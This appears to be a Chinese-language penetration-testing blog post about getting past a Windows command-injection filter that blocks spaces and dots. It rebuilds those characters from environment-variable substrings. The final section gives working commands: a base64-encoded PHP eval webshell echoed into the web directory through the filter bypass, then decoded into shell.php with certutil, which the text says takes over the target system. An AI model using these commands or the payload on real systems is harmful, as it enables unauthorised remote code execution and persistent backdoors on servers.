感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,导致在写入webshell时会受限。以下是针对该目标的绕过记录。
首先是命令执行和过滤验证,如下:
执行dir命令,我们可以看到当前系统存在script目录
但是当我们想要看一下script目录下的内容的时候,我们发现空格被过滤导致命令执行失败了
尝试使用url编码对空格进行转换,依旧是执行失败
要正常执行命令和后续Getshell,则需要“.”和“ ”,那被过滤的符号从哪里来。救赎之道,就在其中 The way to salvation lies in it。
方法就是,切割字符串。利用Windows系统特性和变量来获取被过滤的符号,如下图所示,执行set命令可以将我们想要的内容写入到环境变量中,例如本次写入“set test= hello world.12345”
再次执行set命令,发现写入成功
然后利用字符串截取,截取到我们需要的空格和点
当然了,这里为了演示,所以自己写了一个test,实际上在目标系统里都有现成的,我们直接利用就行,直接执行set命令,查看目标系统存在的环境变量,然后找到环境变量里的空格和点
目标环境的系统变量是符合我们预期的
将截取出的空格和点放到之前的命令执行中即可,空格“ ”过滤被绕过,如图:
点“.”过滤被绕过,如下:
查看文件执行失败
查看文件执行成功
最终Getshell方法
那我们将免杀的webshell进行base64编码,防止受到其它被过滤符影响,然后echo到web目录,在使用certutil将文件decode解码,即可拿下目标系统。
PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g是base64后的webshell,然后对被过滤字符进行编码,即如下。
写入:
echo%ProgramW6432:~10,1%PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g%ProgramW6432:~10,1%>>%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt
解码:
Certutil -decode script\shell.txt script\shell.php
Certutil%ProgramW6432:~10,1%-decode%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%php